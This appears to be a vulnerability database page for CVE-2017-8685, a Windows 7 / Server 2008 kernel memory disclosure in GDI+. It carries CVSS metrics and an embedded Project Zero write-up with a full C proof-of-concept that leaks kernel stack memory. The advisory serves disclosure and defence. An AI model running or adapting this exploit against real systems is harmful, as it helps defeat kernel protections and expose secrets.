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CVE-2017-8685 : Detail

CVE-2017-8685

5.5
/
MEDIUM
A01-Broken Access Control
0.12%V3
Local
2017-09-11 22:00 +00:00
2017-09-20 07:57 +00:00
CVE.org
NVD

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Descriptions

Windows GDI+ on Microsoft Windows Server 2008 SP2 and R2 SP1, and Windows 7 SP1 allows information disclosure by the way it discloses kernel memory addresses, aka "Windows GDI+ Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8684 and CVE-2017-8688.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metric Score Severity CVSS Vector Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42748

Publication date : 2017-09-17 22:00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1276&desc=2 We have discovered that the nt!NtGdiEngCreatePalette system call discloses large portions of uninitialized kernel stack memory to user-mode clients. This is caused by the fact that for palettes created in the PAL_INDEXED mode with up to 256 colors, a temporary stack-based buffer is used by the syscall for optimization (instead of locking the entire ring-3 memory area with win32k!bSecureBits). The stack memory region is not pre-initialized with zeros, but its contents may still be treated as valid palette colors by win32k!EngCreatePalette, in the special corner case when: a) 1 <= cColors <= 256 b) pulColors == NULL The above setting causes the the win32k!bSafeReadBits to automatically succeed without actually reading any data from user-space, which further leads to the creation of a palette with colors set to uninitialized memory from the kernel stack (up to 1024 bytes!). These bytes can be subsequently read back using the GetPaletteEntries() API. The vulnerability is fixed in Windows 8 and 10, which have the following memset() calls at the beginning of the function: (Windows 8.1) --- cut --- .text:001B4B62 push 3FCh ; size_t .text:001B4B67 lea eax, [ebp+var_400] .text:001B4B6D mov [ebp+var_404], edi .text:001B4B73 push edi ; int .text:001B4B74 push eax ; void * .text:001B4B75 call _memset --- cut --- (Windows 10) --- cut --- .text:002640C8 push 400h ; size_t .text:002640CD mov [ebp+var_410], eax .text:002640D3 lea eax, [ebp+var_404] .text:002640D9 push edi ; int .text:002640DA push eax ; void * .text:002640DB mov [ebp+var_41C], ebx .text:002640E1 call _memset --- cut --- This indicates that Microsoft is aware of the bug but didn't backport the fix to systems earlier than Windows 8. The issue was in fact discovered by cross-diffing the list of memset calls between Windows 7 and Windows 10, which illustrates how easy it is to use exclusive patches for one system version to attack another. The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call. An example output is as follows: --- cut --- 00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000030: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000080: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000090: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000100: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000110: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000120: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000130: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000140: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000150: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000160: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000170: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000180: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000190: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000001a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000001b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000001c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000001d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000001e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000001f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000200: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000210: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000230: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000260: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000270: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000280: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000290: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000002a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000002b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000002c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000002d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000002e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000002f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000300: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000310: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000320: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000330: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000340: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000350: 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 AAAAAAAAAAAA.... 00000360: 21 00 00 00 00 00 00 00 88 0d cf 8e da 3f 87 82 !............?.. 00000370: 09 50 14 00 04 00 00 00 00 dc 9d 98 25 82 5e 4d .P..........%.^M 00000380: 00 00 00 00 f0 dd 9d 98 d0 09 96 82 12 01 00 00 ................ 00000390: 48 0d cf 8e 00 00 00 00 ae 01 00 00 6f 00 00 00 H...........o... 000003a0: 00 00 00 00 7e 53 0c 00 1c fc 1c 9a a5 f0 87 82 ....~S.......... 000003b0: ef ff 07 00 12 01 00 00 40 58 14 00 cc f2 41 00 ........@X....A. 000003c0: 01 00 00 00 01 00 00 00 f0 dd 9d 98 00 00 00 00 ................ 000003d0: 12 01 00 00 00 00 00 00 14 05 00 c0 25 82 5e 4d ............%.^M 000003e0: 00 00 00 00 00 00 00 00 00 10 00 00 6c fb 1c 9a ............l... 000003f0: 2c f9 1c 9a 67 08 00 00 67 08 00 00 48 0d cf 8e ,...g...g...H... --- cut --- The planted 0x41 bytes are clearly visible in the above hex dump. Since the stack spraying primitive used here (nt!NtMapUserPhysicalPages) still leaves some bytes intact at higher addresses, these bytes (containing a number of kernel-space addresses etc.) can be observed at offsets 0x360-0x400. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include #include #include extern "C" NTSTATUS WINAPI NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); // For native 32-bit execution. extern "C" ULONG CDECL SystemCall32(DWORD ApiNumber, ...) { __asm{mov eax, ApiNumber}; __asm{lea edx, ApiNumber + 4}; __asm{int 0x2e}; } VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) { PBYTE _ptr = (PBYTE)ptr; for (ULONG i = 0; i < size; i++) { _ptr[i] = byte; } } VOID SprayKernelStack() { // Buffer allocated in static program memory, hence doesn't touch the local stack. static SIZE_T buffer[1024]; // Fill the buffer with 'A's and spray the kernel stack. MyMemset(buffer, 'A', sizeof(buffer)); NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer); // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's. MyMemset(buffer, 'B', sizeof(buffer)); } int main() { // Windows 7 32-bit. CONST ULONG __NR_NtGdiEngCreatePalette = 0x129c; // Initialize the thread as GUI. LoadLibrary(L"user32.dll"); // Fill the kernel stack with some marker 'A' bytes. SprayKernelStack(); // Create a Palette object with 256 4-byte uninitialized colors from the kernel stack. HPALETTE hpal = (HPALETTE)SystemCall32(__NR_NtGdiEngCreatePalette, PAL_INDEXED, 256, NULL, 0.0f, 0.0f, 0.0f); if (hpal == NULL) { printf("[-] NtGdiEngCreatePalette failed.\n"); return 1; } // Retrieve the uninitialized bytes back to user-mode. PALETTEENTRY palentries[256] = { /* zero padding */ }; if (GetPaletteEntries(hpal, 0, 256, palentries) != 256) { printf("[-] GetPaletteEntries failed.\n"); return 1; } // Dump the data on screen. PrintHex((PBYTE)palentries, sizeof(palentries)); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

References

https://www.exploit-db.com/exploits/42748/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1039338
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/100724
Tags : vdb-entry, x_refsource_BID

More information
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